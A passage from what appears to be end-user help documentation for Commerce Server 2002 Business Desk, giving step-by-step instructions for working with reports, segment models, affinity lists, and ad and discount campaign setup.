  2. In the Reports list, select the report you want to open, and then click Open on the toolbar.

    Note

    • You can only open reports with a status of Completed.

The static report appears in a new browser window as an HTML document.

See Also

Checking the Status of a Static Report

Finding Completed Static Reports

Sorting the Completed Reports List

Opening Multiple Static Reports

Closing a Static Report

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Opening Multiple Static Reports

You use the Completed Reports module to open multiple static reports.

To open multiple static reports

  1. In Analysis, click Completed Reports.
  2. In the Completed Reports list, select the reports you want to open, and then click Open on the toolbar.

The static reports appear in new browser windows as HTML documents.

Notes

  • If you click the Select All button to select all the reports in the list, you cannot open them. If you want to open all the reports in your list, you must select each report individually.
  • Opening multiple static reports can exceed the memory limitations of your browser, and cause the Completed Reports module to not respond.

See Also

Checking the Status of a Static Report

Finding Completed Static Reports

Sorting the Completed Reports List

Opening a Static Report

Closing a Static Report

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Closing a Static Report

You close the browser window to close a static report.

To close a static report

  • Close the browser window that contains the report.

See Also

Checking the Status of a Static Report

Finding Completed Static Reports

Sorting the Completed Reports List

Opening a Static Report

Opening Multiple Static Reports

Printing Reports

Exporting a Dynamic Report

Exporting a Static Report


Printing Reports

Commerce Server 2002 reports are designed to be viewed in a browser window. You can print dynamic and static reports from the browser. You will encounter size limitations if you are printing and displaying large reports.

When you print a dynamic report PivotTable, the browser prints only the parts of the PivotTable that are visible in the browser window, without scrolling. If you expand nodes of the PivotTable and the resulting table exceeds the browser memory limitation, the PivotTable will not print.

To print a large PivotTable in its entirety, export the PivotTable to Microsoft Excel. For information about exporting a PivotTable to Microsoft Excel, see Exporting a Dynamic Report. For information about printing from Microsoft Excel, see Microsoft Excel Help.

When you run a static report, the completed report is limited to showing 1,000 lines in the browser window. You can export a large static report to the List Manager module in Commerce Server Business Desk to view all the lines of the report. For information about exporting reports to List Manager, see Exporting a Static Report.

To print a report

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. Run a static or dynamic report.
  3. In the browser window, on the File menu, click Print.
  4. In the Print dialog box, click Print.

The report prints on the designated printer.

See Also

Viewing Dynamic Reports

Viewing Report Properties

Generating a Segment Report

Exporting a Dynamic Report

Exporting a Static Report


Exporting a Dynamic Report

You use the PivotTable controls to export a completed dynamic report to Microsoft Excel. You use Microsoft Excel to save, modify, and print completed dynamic reports. To export a completed dynamic report to Microsoft Excel, you must have Microsoft Excel installed on the same computer on which your completed dynamic report resides.

To export a completed dynamic report to Microsoft Excel

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports. In the list of available reports, select the dynamic report definition you want to run, and then click Run on the toolbar.

    The completed dynamic report appears as a PivotTable in a new browser window.

    Note

    • If the PivotTable is not visible, click Show/Hide Pivot on the toolbar.
  3. To open your report in Microsoft Excel, in the PivotTable screen, click Export to Excel on the PivotTable toolbar.

The report appears as a Microsoft Excel spreadsheet.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Running Reports

Exporting a Static Report

Exporting a Report to List Manager


Exporting a Static Report

You use the Reports module to export data from your static report to the List Manager module in Commerce Server Business Desk.

Data from static reports that have the Direct Mail property can be used in direct mail campaigns. You can access and update data from static reports, for example, Registered User Properties, in the Users module in Business Desk.

To export data to a list

  1. In Analysis, click Reports.
  2. In the Reports list, select the static report containing the data you want to export, and then click Export on the toolbar.
  3. In the Run a report dialog box, adjust the report parameters to meet your needs. All report parameters are report specific.

    Notes

    • If the name that you type in the Site Name: Parameter Value box does not match a Commerce Server 2002 site name, the export will not contain data.
    • You can view the report query, site name parameter tags, field name, and number of users parameter tags by clicking Advanced in the Run a report dialog box.
  4. Click OK.
  5. In the Export report as a list dialog box, do the following:
    Use this | To do this
    List Type | Select Static.
    List Name | Type a unique name for the list.
  6. Click OK.

    Your static report is exported to the List Manager module as a list.

Open the List Manager module to verify that your data was exported as a list. For information about exporting lists to List Manager, see Exporting a Report to List Manager.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Running Reports

Exporting a Dynamic Report

Exporting a Report to List Manager


Creating a New Dynamic Report Definition

You use the Reports module to create new dynamic report definitions, to change the PivotTable of a report, and to save the new report as a new report definition. The newly saved report is then available in the Reports list. For information about creating custom reports for use by site developers, see ''Creating Custom Reports'' in Commerce Server 2002 Help.

Note

  • Microsoft Office XP Web Components and the support files that include the Microsoft Data Access Components (MDAC) 2.7 and pivot table services are required to run the dynamic reports in Analysis. Installing Microsoft Office XP, Microsoft Excel XP, Microsoft Access XP, or Microsoft FrontPage XP automatically installs the Microsoft Office XP Web Components and all of the required support files. If you have already installed Microsoft Office XP or any of the applications listed previously, you do not need to install the Microsoft Office XP Web Components, which are included on the Commerce Server 2002 CD.

To create a new dynamic report definition

To add fields to a PivotTable

To view your new report in the Reports list

To refresh the Reports list

To create a new dynamic report definition

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports.
  3. Click New on the report toolbar to create your new report.
  4. In the Create a new report - Web Page dialog box, do the following:
    Use this | To do this
    Report Type | Select OLAP or SQL depending on the type of report you want to create.
    Cube Name | Only used for OLAP reports. Select a cube name from the drop-down list. Only processed cubes that can be reported on will be shown.
    MDX Query | Only used for OLAP reports. Type a query string if you want to create this report based on a query and then click OK. (This box is optional.)
    SQL Query | Only used for SQL reports. Type an SQL query to specify the fields to return, and then click OK.

    Note

    • If the PivotTable Field List does not appear automatically when you open the table, click PivotTable Field List on the PivotTable toolbar to view the PivotTable Field List.
  5. Drag fields from the PivotTable Field List and drop them onto the PivotTable.

    In the PivotTable, the items under Totals in the PivotTable Field List are measures; the items at the same level as Totals are dimensions. Measures can be added to the data area (that is, the center cells) of the PivotTable. Dimensions can be used as rows, columns, or filters.

    As an alternative to using a drag-and-drop operation to move the fields from the PivotTable Field List, you can use the Add to button at the bottom of the PivotTable Field List. For information about using the PivotTable Field List, click Help on the PivotTable toolbar.

  6. In the Completed Reports window, click Save on the toolbar.
  7. In the Save a report—Web Page dialog box, do the following:
    Use this | To do this
    Save Report | Defaults to Save As if the report is a default report and to Save if the report is not a default report.
    Report Name | Type the name of the new report.
    Report Category | Type the report category.
    Report Description | Type a description for the new report.
    Report Long Description | Type a longer description for the report. This description will be visible in the browser window above the PivotTable controls when you click Show description above the PivotTable controls.
  8. Click OK.

    Important

    • When you save a new report, you are saving the report definition, not the data. The next time you run the report, it will have the same rows, columns, and filters, and current data will be queried from Microsoft SQL Server 2000 Analysis Services (OLAP) as specified in the report definition.
  9. To return to the Reports screen, close the report window.

For more information about working with PivotTables, click Pivot Help on the PivotTable toolbar.

To add fields to a PivotTable

  1. Contact your system administrator to import data into the Data Warehouse and to run the Report Preparation DTS task to make the data available for reports.
  2. In Analysis, click Reports, and then select the dynamic report definition on which you want to base your new report.
  3. In the Reports screen, click Run on the toolbar to run the dynamic report.

    The completed report appears in a new browser window as a PivotTable. The PivotTable Field List appears above the PivotTable.

    Note

    • If the PivotTable Field List does not appear automatically when you open the table, click the Field List button on the PivotTable toolbar to view the PivotTable Field List.
  4. Drag fields from the PivotTable Field List and drop them onto the PivotTable.

    In the PivotTable, the items under Totals in the PivotTable Field List are measures; the items at the same level as Totals are dimensions. Measures can be added to the data area (that is, the center cells) of the PivotTable. Dimensions can be used as rows, columns, or filters.

    As an alternative to using a drag-and-drop operation to move the fields from the PivotTable Field List, you can use the Add to button at the bottom of the PivotTable Field List. For information about using the PivotTable Field List, click Help on the PivotTable toolbar.

  5. In the completed report window, click Save just above the PivotTable. The Save a report — Web Page dialog box appears.
  6. In the Save a report—Web Page dialog box, do the following:
    Use this | To do this
    Report Name | Type the name of your new report.
    Report Category | Type the category for the new report.
    Report Description | Type a description for your new report.
    Report Long Description | Type a longer description for your report. This description will be visible in the browser window above the PivotTable controls when you click Show description above the PivotTable controls.
  7. Click OK. Your new report is saved.
  8. To return to the Reports screen, close the report window.

For more information about working with PivotTables, see PivotTable Help, available when you click the Help button on the PivotTable toolbar.

Important

  • When you save a new report, you are saving the report definition, not the data. The next time you run the report, it will have the same rows, columns, and filters, and current data will be queried from Microsoft SQL Server 2000 Analysis Services (OLAP) as specified in the report definition.

To view your new report in the Reports list

  1. In Analysis, click Reports.
  2. On the Reports screen, click Find on the toolbar, select the search criteria that will find your report, and then click Find Now.

Your new report appears in the Reports list.

To refresh the Reports list

  1. In Analysis, click Reports.
  2. On the Reports screen, click Find on the toolbar.
  3. In the Find By box, select All Reports, and then click Find Now.

A new Reports list appears showing all reports.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports


Customizing Reports

Commerce Server 2002 provides a selection of predefined reports to analyze activity on your Web site. However, if required, you can create new custom reports or customize both dynamic and static reports to meet your business needs.

Customizing Static Reports

Customizing Dynamic Reports

Customizing Static Reports

To create a custom static report, you or your site developer use SQL scripts. Sample scripts to create custom static reports are included in the Commerce Server SDK. For more information about sample scripts and tools for static reports, see ''Business Analytics Samples'' in Commerce Server 2002 Help.

Customizing Dynamic Reports

You can modify a dynamic report definition and save it as a custom report definition, which is then added to the Reports module. You use custom dynamic report definitions to create new views of the data in dynamic reports. For example, you can run the Usage Trend report to view the total requests, users, and visits per year for your site.

If you want to see more details about usage trends, you can create a new dynamic report definition from the Usage Trend report to show usage trends by the type of user who visits your site, or to show usage trends over different time periods (per day, per month, or per quarter) instead of per year. When you save the Usage Trend report with your changes, the new report definition is added to the Reports module. Refresh the Reports list in the Reports module to show the new dynamic report definition. For more information about creating a new dynamic report definition, see Creating a New Dynamic Report Definition.

You create a custom dynamic report definition by changing the PivotTable of an existing report, and saving the result as a new report definition. You can change the PivotTable of an existing report by adding and removing filters, sorting the displayed data, adding measures, moving fields, changing the data that is detailed and summarized, and by pivoting (or manipulating) the columns and rows. For example, you can expand the year dimensions of the Usage Trends report and see usage trends by day. You can expand the year dimensions, remove the year, quarter, and day dimensions and see usage data by month only.

For more information about working with PivotTables, Help button in a PivotTable screen to view Microsoft PivotTable List Help.

Your system administrator can create custom static and dynamic report definitions and add them directly to the database used by reports.

For information for site developers creating custom reports, see ''Creating Custom Reports,'' and for information about planning for creating custom reports, see ''Planning for the Business Analytics System'' in Commerce Server 2002 Help.

See Also

Commerce Server 2002 Reports

Running Reports

Creating a New Dynamic Report Definition


Deleting Reports

You use the Reports module to delete custom report definitions. You use the Completed Reports module to delete completed static reports. You cannot delete dynamic or static report definitions included with Commerce Server 2002. These are system reports. System reports show "System" in the Created By column of the Reports list in the Reports module.

Deleting Custom Report Definitions

Deleting Completed Static Reports

Deleting Custom Report Definitions

You use the Reports module to delete custom report definitions. You cannot delete system reports. System reports show "System" in the Created By column.

To delete a custom report

  1. In Analysis, click Reports, and then select the custom report you want to delete.
  2. Click Delete the toolbar.
  3. In the Delete Reports? dialog box, click Yes.

The selected custom report is deleted from the Reports list.

Caution

  • When you delete a custom report in the Reports module, you delete the report definition; therefore, you will not be able to run the report again.

Deleting Completed Static Reports

You use the Completed Reports module to delete completed static reports. When you delete a static report in the Completed Reports module, you delete only the completed report; the report definition remains in the Reports module.

Notes

  • You can delete a failed report in the same way you delete a completed report.
  • Deleting a running (Pending) report from the Reports list does not terminate the report. The report will continue to run.

To delete a completed static report

  1. In Analysis, click Completed Reports.
  2. In the Reports list, select the report you want to delete, and then click Delete on the toolbar.

The selected static report is deleted from the Report list.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports


Viewing Report Properties

You use the Reports module to view the properties of static and dynamic reports.

You cannot modify report properties. If you cannot find a report definition with a query that returns the data you are looking for, you can modify a dynamic report definition and save it as a new dynamic report definition, or you can ask your system administrator to create a new dynamic or static report definition that meets your needs.

For more information about modifying a dynamic report definition to create a new dynamic report definition, see Creating a New Dynamic Report Definition.

To view the properties of a report

  1. In Analysis, click Reports.
  2. In the Reports list, select the report that contains the properties you want to view, and then click Open on the toolbar.

A list of the report properties appears.

See Also

About Dynamic and Static Reports

Commerce Server 2002 Reports

Finding Reports


Analyzing Population Segments

Note

  • Before you can work with population segments, your system administrator must build a Segment model for you.

Segments represent groups of users who share characteristics or behavior. Segments are derived from data stored in the Data Warehouse. You use the Segment Viewer module in Commerce Server Business Desk to analyze segments and segment groups to identify specific characteristics or behavior, such as usage trends. You can then use the results of your analysis to make marketing decisions based on similarities among users.

This section contains:

  • Viewing a Segment Model
  • Comparing Two Segments or Segment Groups
  • Renaming a Segment or Segment Group
  • Generating a Segment Report
  • Exporting Segment Data to List Manager

See Also

About Segments

Commerce Server 2002 Reports


Viewing a Segment Model

Note

  • Before you can view a Segment model, your system administrator must build a Segment model for you.

The first time you view a Segment model, the segments and segment groups in the Segment hierarchy have generic names, such as Segment1, Segment2, and so on. The percentage of the total population represented in a segment or segment group appears in parentheses after the name. The segment summary appears on the screen to the right of the segment list.

Segment Viewer work area

The summary of your segment or segment group contains a table with the following columns:

  • Property/value pairs. Correspond to each other and best summarize the records in the selected segment or segment group. For example, if the majority of records in a given segment correspond to people whose occupation is "Student," then "Occupation" appears in the Property column and "Student" appears in the Value column.
  • Score. Displays a red bar, the length of which is a relative indicator of how well the matching property/value pair summarizes the records in the selected segment or segment group.
  • In the comparison section, a column contains a blue bar, the length of which indicates the degree to which a record, with the corresponding property/value pair, belongs in the comparison segment or segment group rather than in the selected segment or segment group.

To view a Segment model

  • In Analysis, click Segment Viewer.

The Segment Viewer screen with the top-level segment group, which is labeled Population (100%), appears. To view lower-level segments and segment groups, click the arrow next to the top-level segment group.

Notes

  • You can view only one Segment model at a time.
  • Your system administrator creates Segment models in Commerce Server Manager. For information about creating Segment models, see "Running the Predictor Resource" in Commerce Server 2002 Help.

See Also

Workflow for Segment Analysis

Comparing Two Segments or Segment Groups

Renaming a Segment or Segment Group

Generating a Segment Report

Exporting Segment Data to List Manager

Generating a Segment Report

Segments and Segment Groups

Segment Models

Segment Viewer

Segment Reports


Comparing Two Segments or Segment Groups

You can compare one segment or segment group to another by using the Segment Viewer module.

For example, you might find that one segment corresponds to users who frequent your site and another segment corresponds to infrequent users. You might want to compare users to determine what characteristics distinguish the frequent users from the infrequent users. By default, each segment is compared to the entire population. This default is set up so that you are able to see what makes the users in this segment different from the rest of the users.

To make segment comparisons, select a segment and then select the segment you want to compare it to. The comparison appears in a table with the following columns:

  • Property/value pairs. The property/value pairs that appear are those pairs that best distinguish between the users in the selected segment or segment group and the users in the comparison segment or segment group.
  • Selected Segment. This column contains a yellow bar, the length of which indicates the degree to which a record, with the corresponding property/value pair, belongs in the selected segment or segment group rather than in the comparison segment or segment group.
  • Comparison Segment. This column contains a blue bar, the length of which indicates the degree to which a record, with the corresponding property/value pair, belongs in the comparison segment or segment group rather than in the selected segment or segment group.

To compare two segments or segment groups

  1. In Analysis, click Segment Viewer, select the Segment model that contains the segments you want to compare, and then click Open Model on the toolbar.
  2. In the Segment hierarchy, select the segment or segment group to compare.

    A summary of the selected segment or segment group appears under Summary of <Segment Name> on the Segment Viewer screen.

  3. In the Compare Segment <Segment Name> to box, select from the drop-down list the segment or segment group to which you want to compare the segment you selected in the previous step.

A comparison summary appears in the lower section of the Segment Viewer screen. The properties appear in order of their relative membership strength in the selected segment or comparison segment.

See Also

Workflow for Segment Analysis

Renaming a Segment or Segment Group

Generating a Segment Report

Exporting Segment Data to List Manager

Generating a Segment Report

Segments and Segment Groups

Segment Models

Segment Viewer

Segment Reports


Renaming a Segment or Segment Group

The first time you open a Segment model, the segments and segment groups have assigned names that are generic, such as Segment1, Segment2, and so on. These generic names are listed in the Segment hierarchy. The entire population for all segments is listed in the Segment hierarchy as Population (100%).

After you have examined a segment or segment group and determined which of its characteristics are significant, you can give it a more descriptive name. When you choose a new name for a segment or segment group, you must choose a name that is unique to the Segment model.

To rename a segment or segment group

  1. In Analysis, click Segment Viewer, select the Segment model that contains the segment or segment group you want to rename, and then click Open Model on the toolbar.
  2. In the Segment hierarchy, expand the top-level segment group until you see the segment or segment group you want to rename, select it, and then click Rename.
  3. In the Rename Segment dialog box, type a new name for the segment or segment group, and then click OK.

    The new name replaces the old name in the Segment hierarchy.

  4. To rename additional segments or segment groups, repeat Steps 2 and 3.
  5. When you have renamed all the segments and segment groups you want, and are ready to save your changes to the Segment model, click Save on the toolbar.

The new names are saved.

Notes

  • If you change several names for a large segment group, it might take several minutes to save your changes.
  • If you rename a segment, you need to save the model before you can use the Export to List feature.

See Also

Workflow for Segment Analysis

Comparing Two Segments or Segment Groups

Generating a Segment Report

Exporting Segment Data to List Manager

Generating a Segment Report

Workflow for Segment Analysis

Segments and Segment Groups

Segment Models

Segment Viewer

Segment Reports


Generating a Segment Report

You use the Segment Viewer to generate a report that is a summary of all the segments and segment groups you have created. The report appears in a separate Internet Explorer window. You use this report to compare all segments.

Each segment and segment group has links to its detailed information; clicking these links allows you to move easily between segments.

To view a segment report

  1. In Analysis, click Segment Viewer, select the Segment model that contains the report you want to view, and then click Open Model on the toolbar.
  2. In the Segment hierarchy list, select the segment that you want to build a report from, and then click Launch Report on the toolbar.

The report appears in an Internet Explorer window.

See Also

Workflow for Segment Analysis

Commerce Server 2002 Reports

Comparing Two Segments or Segment Groups

Renaming a Segment or Segment Group

Generating a Segment Report

Exporting Segment Data to List Manager

Generating a Segment Report

Segments and Segment Groups

Segment Models

Segment Viewer

Segment Reports


Exporting Segment Data to List Manager

After you create your segments, you can create a list of the users in those segments for further analysis and management. You export your segment data to List Manager in Commerce Server Business Desk.

Note

  • To export user information to a list, you must select a segment and not a segment group. If you select a segment group, the Export Segment to List bon the toolbar is unavailable.

To export segment data to List Manager

  1. In Analysis, click Segment Viewer, select the Segment model that contains the data you want to export, and then click Open Model on the toolbar.
  2. In the Segment hierarchy, select the segment that contains the data you want to export, and then click Export Segment to List on the toolbar.
  3. In the Export Segment to List dialog box, do the following:
    Use this | To do this
    Enter list name | Type a name for the list.
    Minimum probability Type the threshold probability in percentage (between 0 and 1) of membership that a user must exceed to be included in a list.

    As the minimum probability increases, the threshold becomes higher, and fewer users are included.
    Minimum probability for product purchase Type the threshold probability in percentage (between 0 and 1).

    As the minimum probability increases, the threshold becomes higher, and fewer users are included.
  4. Click OK.

After you have exported your data, you can view your data in the List Manager module in Business Desk.

If you are exporting a relatively small amount of data, the exported data appears in List Manager almost immediately. If you are exporting a large amount of data, it might take a few minutes for the data to appear.

See Also

Workflow for Segment Analysis

Exporting a Report to List Manager

Comparing Two Segments or Segment Groups

Renaming a Segment or Segment Group

Generating a Segment Report

Workflow for Segment Analysis

Segments and Segment Groups

Segment Models

Segment Viewer

Segment Reports


Creating Affinity Lists

Note

  • Before you can work with affinity lists, your system administrator must build a Prediction model for you.

You use the Affinity Lists module to create new lists from Prediction models and export them as lists into the List Manager module. You export an affinity list, for example, to create a direct mail list, which you can use to target specific users, for example, those users who are likely to buy a specific product.

To export a direct mail list from affinity lists

  1. In Analysis, click Affinity Lists.

    In the list of Prediction models, click the model that contains the information on which you want the direct mail list created, and then click Export as direct mail list on the toolbar.

  2. In the Affinity List dialog box, do the following:
    Use this | To do this
    List name | Type a name for the list.
    Product Identifier | Type the product identifier/SKU for the target product or click Search Catalog to open the Product Picker dialog box.
    Minimal Percent for product | Select a minimum probability threshold from 0 to 1 (for example, 0.001230). A higher minimum probability will result in a higher threshold, and a smaller number of users will be included in the direct mail list.
  3. Click OK.

    The export process starts. For large models it might take a few minutes for the list to appear in the List Manager module.

  4. In Campaigns, click List Manager.

The affinity list appears in the list of direct mail lists. From this list, you can create a direct mail list.

See Also

Creating Direct Mail


Business Desk Campaigns

You use the Campaigns modules to create and manage marketing campaigns. The Campaigns modules provide an easy to use interface to help you create and manage your campaign schedules. You can use Business Desk Campaigns to personalize the user buying experience with targeted merchandising by determining the type of content that will be shown to the user and when the content is delivered. You can create an ad campaign, a direct mail campaign, or a discount campaign, and then specify when the content will be delivered to a targeted group of users.

You can run campaign reports to help you make informed decisions about pricing, marketing, advertising, and other aspects of your business. Analyzing your campaigns gives you the ability to promote the campaigns that are the most successful.

This section contains:

  • Workflow for Campaign Management. Illustrates the workflow for creating, targeting, and managing campaigns.
  • About Campaigns. Describes ads, discounts, and direct mail, and how to use campaign goaling. Describes how to create targeting expressions.
  • Best Practices and Tips for Campaigns. Provides recommendations and tips about creating and managing your campaigns.
  • Setting Up Your Reference Tables. Explains how to set up content sizes, industry codes, and page groups to match your business model.
  • Creating a Marketing Campaign. Explains how to add customer information, add and schedule a campaign, create a campaign item, and then send it to production.
  • Creating Campaign Expressions. Explains the purpose and use of target expressions, catalog expressions, and how to create a target group.
  • Creating an Ad. Explains how to create an ad, specify the size of the ad, and target the ad to Web pages and groups of users.
  • Creating a Discount. Explains how to create and manage a discount campaign.
  • Discount Examples. Provides examples that show how to set up discounts with different types of conditions, awards, and eligibility requirements.
  • Discount Application Policies. Provides information about how to determine which discounts will be applied in a complex discount campaign.
  • Publishing Campaign Changes on Your Web Site. Explains how to update your site with new information that you have added using Commerce Server Business Desk.
  • Managing Lists of User Records. Explains how to use List Manager to create and manage mailing lists and lists of users.
  • Creating Direct Mail. Explains how to add direct mail and schedule and personalize the direct mail message.
  • Analyzing a Campaign. Explains how to run a campaign report and export it to List Manager.
  • Searching Campaigns. Explains how to search the campaigns on your site using filter criteria.
  • Deleting and Restoring Customers, Campaigns, and Campaign Items. Explains how to delete and restore campaigns.
  • Extending Campaigns. Explains how the site developer can make custom changes to your site to extend your Campaigns functionality.


Workflow for Campaign Management

The following figure illustrates a sample scenario for creating, managing, analyzing, and targeting campaigns.

Workflow for Campaign Management
  1. In the Reference Tables module, you specify your content sizes, and add industry codes and page groups. Only perform this step if you need to add or change the tables provided by your site developer.
  2. In the Campaigns Expressions module, create a target expression to specify the users to which you want to deliver the discount, or a catalog expression to specify the products the user must buy for the discount to apply.
  3. In the Campaign Manager module, create a new customer (such as Arbor Shoes), and create a campaign (such as Fall Season Sale), and then add a discount (such as Member Discount).
  4. In the Campaign Manager module, run a report to analyze the effectiveness of your ad campaign.
  5. In the List Manager module, import a mailing list into List Manager.
  6. In the Campaign Manager module, use the list to run a direct mail job to target your users more successfully.

See Also

About Campaigns


About Campaigns

You use the Campaigns modules to create and schedule marketing campaigns and deliver targeted content for Web sites. Commerce Server provides several different delivery mechanisms for your online campaigns. For example, you can create campaigns for advertisements, discounts, and direct mail. You can also analyze your campaigns, which gives you the ability to make decisions about pricing, targeting content, and other aspects of your business. After you analyze your user data, you can update your site to better target your users.

The Campaigns modules are designed so you can work with your customers to maximize the effect of ads, discounts, and direct mail. With the Campaigns modules, you can:

  • Target ads or discounts to users of a specific profile. You set up a user profile using the Profile Definition Designer module, and then integrate it into a campaign. For each individual ad page, you can specify whether the profile for the user browsing that page should be considered for targeted content, or ignored.
  • Run campaigns for customers who compete within the same industry. The competing ads are never shown on the same page.
  • Charge your customers based on the number of ad requests they want their ads to receive.

This section contains:

  • Campaign Structure
  • Campaign Goaling
  • Reference Tables
  • Ads
  • Discounts
  • User Lists and Mailing Lists
  • Direct Mail
  • Targeting and Personalization


Campaign Structure

A campaign is a marketing program that represents one or more contracts or orders from a customer. For example, you might have a campaign to introduce new products, retain existing users, or increase market share. Each campaign may include multiple campaign items: ads, discounts, or direct mail messages.

You use the Campaign Manager module to create and manage customers, their campaigns, and the campaign items in each campaign.

The following figure shows the hierarchical structure of the Campaign Manager tree.

Hierarchical structure of the Campaign Manager tree

Customer information, such as billing address, is used for all campaigns created for that customer. You can view all your customers in alphabetical order in the Campaign Manager module.

All campaign items within one campaign have a common customer and date ranges. For example, in the travel section of a Newspaper site, an advertiser might request the delivery of 10,000 requests within a week to users from the Northwest. The advertiser might decide to run three different ads to fill those 10,000 requests and then see which one of the three ads creates the highest click rate. Each ad is a campaign item.


Campaign Goaling

Campaign goaling is the process of specifying the number of ads to deliver (the goal) in a certain amount of time. The Content Selection Framework (CSF) processes the campaign goaling variable for the ad campaign, and then determines which ads are to be displayed. You can goal by clicks on an ad or by requests for an ad. You can goal campaigns at the campaign-level or at the advertising item-level.

  • Campaign-level goaling applies the goals to all of the campaign items (ads) in the campaign by using a weighted distribution of the total number of requests.

    For example, you decide to perform goaling at the campaign-level for a customer. The customer gives you two ads, and orders 25,000 ad requests. At the campaign-level, you assign a weight of 80 to one ad, and a weight of 20 to the other ad, which equals 100 percent of the total number of ads specified for the campaign. If the customer changes the number of ad requests, for example, to 40,000, you do not have to manually change the number of times the ads will display; they are still weighted at 80 and 20 respectively. The first ad will display 32,000 times and the second ad will display 8,000 times, for a total of 40,000 ads.

    You do not have to goal your ads strictly as a weighted percentage. For example, you can weight your ads at 800 and 20 respectively, which will display the first ad 39,024 times, and the second ad 976 times, for a total of 40,000 ads.

  • Advertising item-level goaling applies the goals at the campaign item level. The total requests for the campaign will be equal to the total number of ordered requests for each campaign item. For example, a customer might order 50,000 requests to be delivered in one month. The ad item must be delivered 50,000 times.

You can switch between campaign-level goaling and advertising item-level goaling. Campaign goaling determines how the weights for the ads will be calculated. For example, in Campaign Manager, you can goal at the campaign-level and assign each campaign item a weight of 1. Later, you can change the goaling to advertising level goaling and order additional ad requests for one of your campaign items. The total quantity ordered for the campaign now has additional ad requests.

If you add an additional ad to a campaign that has been converted from advertising level goaling to campaign-level goaling, the paid weight of all the ads must be changed or the delivery of the ads will be skewed. For information about switching between campaign-level goaling and advertising item-level goaling, see Changing Between Campaign Goaling and Advertising Item Goaling.

See Also

Changing Between Campaign Goaling and Advertising Item Goaling

Goaling a Campaign

Processing Ad Campaign Items


Reference Tables

You use the Reference Tables module in Business Desk to set the size of the content that is displayed on your site, to manage the names of Page Groups, and to establish industry codes that you can use to prevent two ads from the same industry appearing on the same page at the same time. The properties in the Reference Table module ensure the consistency of advertising content across your site.

  • Content size is the size you want for your content (ads and discounts). Commerce Server 2002 provides several default content sizes. These content sizes are taken from a list of commonly used sizes approved by the Internet Advertising Bureau (IAB). Content sizes are validated through the Content Size section in the Reference Tables module.

    The content sizes in the reference tables are available when you select the size you want for your campaign item content. You can view, edit, and delete any of the predefined sizes, or you can create a new content size to fit your needs.

  • Industry codes are codes used to identify different industries, for example, automotive, aviation, and beverage. You use industry codes to identify the associated industry of an advertisement, thus preventing two ads from competing companies in the same industry from appearing on the same page. Industry codes do not apply to discounts.

    You can update your industry codes, for example, to include more than one beverage code, such as one for coffee and one for milk, so that ads for different types of beverages can appear on the same page. For example, it may be acceptable for an ad for coffee to compete with an ad for milk on the same page. You can set the level at which the industry conflict is monitored by controlling the number of entries in this table.

    Commerce Server provides several popular industry codes for your use. The industry codes used in ads are validated through the Industry Codes section in the Reference Tables module. The industry codes in the reference tables are available when you select the industry code for a campaign item. You can view a list of all current industry codes, add new industry codes, edit industry codes, and delete industry codes from the Industry Code section in the Reference Tables module.

  • Page groups are a set of related Web pages that is tagged with a particular page group name and used for targeting ads. For example, if you are running a newspaper site, you might create a page group for Sports, one for the Top Story, and another for Local News. You can then target ads to display only on pages in certain page groups.

    When you bill customers for displaying ads on your site, you can base the advertising rates by page group. For example, you can charge a premium for ads displayed on your home page, but less for ads displayed on other pages.

    Note

    • Before you can target an ad to a page group, your site developer must add the necessary code to enable the ad to display on the page. For information about enabling ads to display on a page, see the Ad Sitelet sample in the Commerce Server 2002 Software Development Kit.

See Also

About Campaigns

Setting Up Your Reference Tables

Specifying Content Sizes

Adding Industry Codes

Adding Page Groups


Ads

Commerce Server supports two types of ads: paid ads and house ads.

  • Paid ads are pieces of content to be delivered by Commerce Server based on a specific formula for delivery referred to as Need of Delivery (NOD).
  • House ads are pieces of content that are served when paid ads are ahead of the Need of Delivery schedule specified for them. For example, a customer orders 1000 paid ads to be delivered over four months, but in the first two months the ad has been served 850 times. To balance the Need of Delivery schedule, house ads would be served.

    House ads are critical to ensure the smooth delivery of your paid ads. House ads are also displayed when there are no paid ads eligible for the request. For example, a house ad would be served because all paid ads missed a required target.

    House ads may also be used to sell leftover inventory at discounted prices. They may also be used if the ads on the site do not have specific delivery goals, but you want to have the ads run at specified weights.

This section contains:

  • Components of an Ad
  • Targeting Ads
  • Processing Ad Campaign Items
  • Multilingual Ads


Components of an Ad

In Commerce Server, ads have four parts:

  • Ad Properties include the name of the ad, the type (paid ad or house ad), the weight or number of requests or clicks scheduled to be delivered (paid ad versus house ad), the exposure limit, and the industry associated with the ad.
  • Ad Schedule is the start date/time and end date/time for the ad. You can select the days of the week on which the ad will be displayed, and what times of each day.
  • Ad Target identifies the pages on which the discount will be displayed, and the groups it will be targeted to.
  • Ad Display identifies the size of the ad, the type (for example, image, text, or HTML), and if needed, the image and/or URL that the user can click to go to another page (or Web site). You can display ads as images, text, HTML, non-clickable images, Buy Now ads, Windows Media Services, or vignette. (A vignette ad is composed of text that is displayed adjacent to the image where the ad is displayed.)
You can display an ad with a different currency than the preferred currency of the site. For example, if a user selects Yen as their preferred currency and U.S. dollars is the currency of the site, the ad displays in U.S. dollars. As the user browses through the site, the user views all product prices in Yen, but the currency on the ads will be shown in U.S. dollars.

See Also

About Campaigns

Ads

Adding a Campaign Item

Creating an Ad

Adding Ad Properties


Targeting Ads

Using Commerce Server, you can determine when an ad is displayed, where, and to whom. When you create an ad, you specify the following:

  • Exposure limit. The number of times the ad can be shown to a user within a session. If your site uses user profiles to store campaign history, then the exposure limit is the number of times the ad can be shown to a user within a cross-session.
  • Weight. A means of determining how frequently an ad is displayed, relative to all of the campaign items for a given customer. In a campaign, weight only applies to ads that are goaled at the campaign-level. If the ads are goaled at the item level, weight is not used for paid ads.

    For house ads the weight is relative to all other house ads for all customers and all campaigns. For paid ads, the weight is relative to other paid ads in the same campaign. The weight of an individual campaign item is relative to the weight of all the other campaign items.

    For example, assume you have four ads to sell paint, and you assign the weight as follows:

    Ad | Weight | Percentage of times served
